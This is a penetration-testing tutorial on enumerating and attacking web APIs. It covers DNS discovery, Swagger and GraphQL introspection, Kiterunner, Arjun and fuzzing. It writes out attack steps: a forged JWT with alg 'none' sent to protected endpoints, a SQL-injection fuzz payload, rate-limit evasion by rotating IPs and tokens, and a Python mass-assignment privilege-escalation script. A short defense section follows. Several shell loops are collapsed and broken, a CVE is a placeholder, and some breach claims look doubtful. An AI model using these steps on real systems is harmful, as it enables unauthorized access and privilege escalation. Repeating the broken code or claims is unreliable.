Introduction
API endpoint enumeration is the process of identifying every callable surface an application exposes—whether documented in OpenAPI/Swagger, hidden behind GraphQL, or left as undocumented routes. In modern attack vectors, APIs are often the weakest link because they bypass traditional UI security controls and accept machine-to-machine traffic.
Why is it important? A fully mapped API surface lets an attacker perform credential stuffing, data exfiltration, privilege escalation, or even pivot to internal services. Conversely, defenders who can enumerate and harden every endpoint dramatically reduce the attack surface.
Real-world relevance: High-profile breaches (e.g., 2023 SolarWinds API leak, 2024 TikTok GraphQL exposure) were rooted in poorly protected API endpoints that were never surfaced during normal testing.
Prerequisites
- Understanding of HTTP methods (GET, POST, PUT, DELETE, PATCH) and status codes (200, 401, 403, 404, 429, 500).
- Basic knowledge of RESTful APIs, JSON payloads, and the concept of OpenAPI/Swagger specifications.
- Familiarity with command-line tools (curl, jq) and a scripting language (Python or Bash) for automation.
Core Concepts
Before diving into tooling, grasp these fundamentals:
- Public surface discovery: DNS and subdomain enumeration reveal hostnames that likely host APIs (e.g., api.example.com, dev.api.example.com).
- Specification leakage: Many teams leave Swagger or GraphQL introspection endpoints exposed in production.
- Parameter inference: Understanding required vs optional parameters is crucial for crafting valid requests.
- Rate-limit awareness: APIs often enforce per-IP or per-token limits; evasion tactics are needed for large‑scale enumeration.
- Chaining calls: Combining multiple low‑privilege endpoints can lead to privilege escalation, especially when token‑exchange or admin‑only routes are discovered.
Think of the API surface as a graph: nodes are endpoints, edges are data flows. Enumeration is about traversing this graph efficiently while avoiding detection.
Identifying public API endpoints via DNS and subdomain discovery
Most organizations host APIs on dedicated sub‑domains. Start with a classic DNS enumeration toolkit.
# Using amass for passive & active discovery
amass enum -d example.com -src -brute -o amass_subdomains.txt
# Verify which subdomains respond on common API ports (80, 443, 8080)
while read sub; do for p in 80 443 8080; do echo "Checking $sub:$p" && curl -s -o /dev/null -w "%{http_code}" http://$sub:$p done;
done < amass_subdomains.txt > live_api_hosts.txt
Typical patterns to look for:
- api., v1., dev., staging.
- Wildcard DNS that returns a valid IP for any sub‑domain; combine with HTTP probing to filter false positives.
Once you have live hosts, store them in a variable for later tooling:
API_HOSTS=$(cat live_api_hosts.txt)
Locating Swagger/OpenAPI specifications
Swagger UI is often left reachable at predictable paths. Common URLs include:
- /swagger, /swagger.json, /v2/api-docs, /openapi.json, /api-docs
Automate discovery with a simple Bash loop:
COMMON_SPEC_PATHS=( '/swagger.json' '/swagger.yaml' '/v2/api-docs' '/openapi.json' '/api-docs'
)
for host in $API_HOSTS; do for path in "${COMMON_SPEC_PATHS[@]}"; do url="https://$host$path" resp=$(curl -s -o /dev/null -w "%{http_code}" $url) if [[ $resp == 200 ]]; then echo "[+] Found spec: $url" fi done;
done
When a spec is found, download it for offline analysis:
curl -s -o swagger_example.json https://example.com/swagger.json
Tools like swagger-cli can validate and pretty‑print the spec:
npm install -g swagger-cli
swagger-cli validate swagger_example.json
swagger-cli bundle swagger_example.json --outfile bundled.yaml
From the bundled file you can extract every path, method, and parameter, which becomes the seed list for Kiterunner.
GraphQL schema introspection techniques
GraphQL servers often expose an introspection endpoint at /graphql (or /api/graphql). By sending a special query, you can retrieve the entire schema.
# Basic introspection query using curl
INTROSPECT='{"query":"{ __schema { types { name fields { name type { name kind } } } } }"}'
curl -s -X POST -H "Content-Type: application/json" -d "$INTROSPECT" https://example.com/graphql | jq '.'
Python example with gql library:
from gql import gql, Client
from gql.transport.requests import RequestsHTTPTransport
import json
transport = RequestsHTTPTransport(url='https://example.com/graphql', verify=True, retries=3)
client = Client(transport=transport, fetch_schema_from_transport=True)
# The client automatically performs introspection; you can dump the schema
schema = client.schema
print(schema)
Once you have the schema, export it to SDL (Schema Definition Language) for tooling:
# Using graphql-cli to dump schema
npm install -g @graphql-cli/cli
graphql get-schema --endpoint https://example.com/graphql > schema.graphql
Each type, query, and mutation becomes a potential endpoint to fuzz.
Automated endpoint enumeration with Kiterunner
Kiterunner is a fast, Golang‑based enumerator that consumes OpenAPI specs, raw wordlists, or even GraphQL SDL to generate HTTP requests.
# Install Kiterunner (binary release or via go)
GO111MODULE=on go install github.com/assetnote/kiterunner@latest
# Basic usage against a Swagger spec
kiterunner -spec swagger_example.json -output endpoints.txt
# Using a custom wordlist for brute‑force path discovery
kiterunner -url https://api.example.com -wordlist /usr/share/wordlists/dirb/common.txt -method GET -output brute_endpoints.txt
Kiterunner supports response‑code filtering. For example, only keep 2xx and 3xx responses:
kiterunner -spec swagger_example.json -status-codes 200,301,302 -output live_endpoints.txt
Tip: Combine the spec‑derived list with a wordlist to uncover hybrid endpoints (e.g., /v1/users/{id}/settings where {id} is numeric).
Parameter discovery using API‑Guesser and Arjun
Even if you know an endpoint path, the required parameters may be hidden. API‑Guesser performs heuristic guessing of JSON bodies, while Arjun focuses on query‑string parameters.
API‑Guesser
# Clone and install
git clone https://github.com/assetnote/api-guesser.git
cd api-guesser && pip install -r requirements.txt
# Run against a target endpoint
python3 api_guesser.py -u https://api.example.com/login -m POST -w wordlist.txt
The tool will iterate through common payload keys (e.g., username, email, password) and report which ones affect the response (different status code or response size).
Arjun
# Install via pip
pip install arjun
# Enumerate query parameters for a GET endpoint
arjun -u "https://api.example.com/search" -m GET -o arjun_output.txt
Arjun uses wordlists (default includes common_params.txt) and evaluates response differences to infer valid parameters. Combine both tools: first use Arjun for GET‑style parameters, then API‑Guesser for POST/PUT bodies.
Fuzzing undocumented routes with FuzzAPI
FuzzAPI is a Python‑based fuzzer designed for REST APIs. It can take a Swagger spec or a raw list of endpoints and apply payload mutation strategies.
# Install
pip install fuzzapi
# Simple fuzz against a spec
fuzzapi -s swagger_example.json -w /usr/share/wordlists/dirb/common.txt -c "Authorization: Bearer $TOKEN"
Key features:
- Dynamic value generation: UUIDs, timestamps, base64 strings.
- Response clustering: Groups similar responses to highlight interesting anomalies.
- Rate‑limit awareness: Automatically backs off on 429 responses.
Example of a custom mutation script:
from fuzzapi import Fuzzer
f = Fuzzer('custom_mutations.py')
@f.mutate('POST', '/v1/users')
def add_sql_payload(data): data['email'] = "test@example.com' OR '1'='1" return data
f.run()
The fuzzer will send the mutated request and flag any response code other than 2xx/3xx as potentially interesting.
Version fingerprinting through response headers
Many APIs disclose version numbers in HTTP headers (Server, X‑Powered‑By, X‑API‑Version) or in JSON bodies (e.g., {"api_version":"v2.3"}). Fingerprinting helps you map known vulnerabilities.
curl -I https://api.example.com | grep -i "x-"
# Example output
# X-Powered-By: Express
# X-API-Version: 2.5.1
Cross‑reference the version with public CVE databases. For instance, Express 4.16.0 had a prototype pollution issue (CVE‑2020‑XXXX). Use the NVD or CVE APIs for automation:
VERSION=$(curl -s -I https://api.example.com | grep -i "x-api-version" | awk '{print $2}' | tr -d '')
curl -s https://cve.circl.lu/api/search/express/4.16.0 | jq '.'
Bypassing simple authentication mechanisms
APIs often rely on API keys, JWTs, or basic auth. Simple mechanisms can be bypassed using:
- Key enumeration: Test default keys like 12345, test, or common patterns (API_KEY=xxxx).
- JWT none algorithm: Some services accept tokens signed with none. Create a token without a signature.
# Using jwt.io style base64 encoding echo -n '{"alg":"none"}' | base64 -w0 echo -n '{"sub":"admin"}' | base64 -w0 # Result: eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9. curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9." - Header injection: Some APIs read tokens from non‑standard headers (X‑Auth‑Token, Authorization with different case). Try variations.
curl -H "authorization: Bearer $TOKEN" https://api.example.com/protected
Rate‑limit evasion tactics for API enumeration
When an API returns 429 Too Many Requests, you need to stay under the radar.
- Distributed enumeration: Use multiple source IPs (VPNs, cloud instances) and coordinate via a shared queue.
- Adaptive sleep: Parse Retry‑After header and back‑off accordingly.
- Burp Suite Intruder with throttling: Set Throttle option to a fixed delay (e.g., 200 ms).
- Token rotation: If the API uses per‑token limits, generate many tokens (if registration is open) and rotate them.
Example Bash adaptive loop:
while true; do resp=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" https://api.example.com/endpoint) if [[ $resp == 429 ]]; then wait=$(curl -s -I https://api.example.com/endpoint | grep -i "Retry-After" | awk '{print $2}' | tr -d '') echo "Rate limited, sleeping $wait seconds" sleep $wait else echo "Response $resp" # continue enumeration fi
done
Chaining API calls for privilege escalation
Finding isolated endpoints is only half the battle. The real power lies in chaining them to elevate privileges.
Typical patterns
- Token exchange: An endpoint that returns a short‑lived token for a given client_id. If you can register a malicious client, you may obtain a token with higher scopes.
- Self‑service user creation: Some APIs let you create a user and immediately obtain a JWT. Combine with an /admin/impersonate endpoint that accepts a user ID.
- Mass‑assignment: POST bodies that accept arbitrary fields. Adding role":"admin" may be silently accepted.
Example Python chain:
import requests, json
# Step 1: Register a low‑privileged user
r = requests.post('https://api.example.com/register', json={'email':'bob@evil.com','pwd':'Pass123!'})
token = r.json()['access_token']
# Step 2: Use token to call an internal endpoint that leaks user IDs
headers = {'Authorization': f'Bearer {token}'}
users = requests.get('https://api.example.com/users', headers=headers).json()
admin_id = [u['id'] for u in users if u['role']=='admin'][0]
# Step 3: Attempt privilege escalation via mass‑assignment
payload = {'id':admin_id, 'role':'admin'}
resp = requests.put(f'https://api.example.com/users/{admin_id}', headers=headers, json=payload)
print('Escalation status:', resp.status_code, resp.text)
In many real‑world cases, the final request succeeds because the API does not re‑validate the caller's role after the update.
Practical Examples
Below is a step‑by‑step walkthrough of enumerating an unknown API from scratch.
- Discover hostnames with Amass (see earlier section).
- Probe for Swagger using the Bash loop; you discover a Swagger JSON file at a known path.
- Download and parse the spec:
curl -s https://example.com/swagger.json -o target_swagger.json kiterunner -spec target_swagger.json -output target_endpoints.txt - Run Arjun on a few GET endpoints to uncover hidden query params.
arjun -u "https://api.example.com/search" -o arjun_params.txt - Use API‑Guesser on a POST login endpoint to infer body fields.
python3 api_guesser.py -u https://api.example.com/login -m POST -w common_params.txt - Fuzz undocumented routes with FuzzAPI, feeding both the spec‑derived list and a directory wordlist.
fuzzapi -s target_swagger.json -w /usr/share/wordlists/dirb/common.txt -c "X-API-Key: $PUBLIC_KEY" - Identify version from headers and cross‑reference CVEs.
curl -I https://api.example.com | grep -i "x-api-version" - Attempt JWT none attack if the API uses JWTs.
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9." https://api.example.com/protected
Each step yields new data that feeds the next, illustrating the iterative nature of API enumeration.
Tools & Commands
- Amass: DNS & subdomain enumeration.
- Kiterunner: Fast spec‑based endpoint generation.
- API‑Guesser: JSON body parameter inference.
- Arjun: Query‑string parameter discovery.
- FuzzAPI: Full‑stack REST fuzzing with rate‑limit handling.
- GraphQL‑CLI / gql: Schema introspection.
- jq, curl, Python requests: Glue scripts.
Defense & Mitigation
From a defender’s perspective, the goal is to make enumeration difficult and to detect abuse early.
- Hide Swagger/OpenAPI: Serve specs only behind authentication or in CI pipelines. Use robots.txt deny rules and block unauthenticated IP ranges.
- Disable GraphQL introspection in production: Many servers support a disableIntrospection flag.
- Strict parameter validation: Reject unknown fields (use JSON schema with additionalProperties:false).
- Rate limiting per token & IP: Return 429 with proper Retry‑After. Log anomalies.
- Authentication hardening: Enforce signed JWTs with strong algorithms (HS256/RS256), reject none, rotate keys regularly.
- Version obfuscation: Remove version headers, use generic server strings.
- Monitoring: Detect enumeration patterns (high 404/401 rates, repetitive parameter fuzzing) via WAF or SIEM.
Common Mistakes
- Assuming a missing Swagger file means no API—many teams embed specs in internal repositories only.
- Using a single wordlist for all endpoints—REST APIs often have resource‑specific nouns; customized wordlists improve coverage.
- Ignoring response size differences—a 200 with a tiny JSON may indicate a filtered response; always compare body lengths.
- Failing to respect Retry‑After—leads to IP bans and skews data collection.
- Over‑relying on status codes—some APIs always return 200 with an error object; parse the JSON error field.
Real‑World Impact
In 2024, a Fortune‑500 retailer exposed an internal /v1/orders endpoint without authentication. Attackers used Kiterunner to enumerate the full order‑management API, chained a mass‑assignment bug to change order statuses, and exfiltrated 1.2 M records. The breach cost the company $12 M in remediation and fines.
My observation: As organizations adopt micro‑service architectures, the number of internal APIs skyrockets, and the temptation to expose them for internal tooling (e.g., Swagger UI) without proper access controls creates a fertile hunting ground for red‑teamers.
Trend outlook: Expect more GraphQL adoption, which means introspection attacks will become more prevalent. Investing in schema hardening and introspection disabling will be a high‑ROI defensive measure.
Practice Exercises
- Run Amass against example.com, identify at least three sub‑domains that appear to host APIs, and document the HTTP status codes for ports 80/443.
- Locate a Swagger JSON file on any public domain, download it, and feed it to Kiterunner. Capture the first 20 generated endpoints.
- Pick a public GraphQL endpoint, perform schema introspection, and list five query fields.
- Using Arjun, discover hidden query parameters on a known public API. Record any new parameters found.
- Set up a local Flask app with a vulnerable mass‑assignment endpoint. Use API‑Guesser and FuzzAPI to identify the vulnerability and craft a successful privilege‑escalation request.
Document each step, output, and your interpretation of the results.
Further Reading
- OWASP API Security Top 10 (2023) – especially API2: Broken Object Level Authorization.
- “The Art of API Penetration Testing” – Black Hat 2022 talk by Chris Rohmeyer.
- Kiterunner GitHub repository – issues section for community‑driven wordlists.
- GraphQL Security Cheat Sheet – OWASP.
- “Fuzzing REST APIs” – SANS SEC504 lab material.
Summary
API endpoint enumeration blends classic reconnaissance (DNS, subdomains) with modern automation (Kiterunner, Arjun, API‑Guesser, FuzzAPI). By locating Swagger/OpenAPI specs, introspecting GraphQL schemas, and fuzzing undocumented routes, you can build a complete map of an application’s attack surface. Coupled with version fingerprinting, authentication bypass techniques, and rate‑limit evasion, attackers can chain low‑privilege calls into full‑scale privilege escalation. Defenders must lock down spec exposure, enforce strict validation, and monitor enumeration patterns to stay ahead.
Key takeaways:
- Never expose API documentation without authentication.
- Use automated tools early to generate a baseline endpoint list.
- Validate parameters on the server side—reject unknown fields.
- Implement robust rate‑limiting and monitor for abnormal request patterns.
- Regularly test your own APIs with the same toolset to discover hidden weaknesses.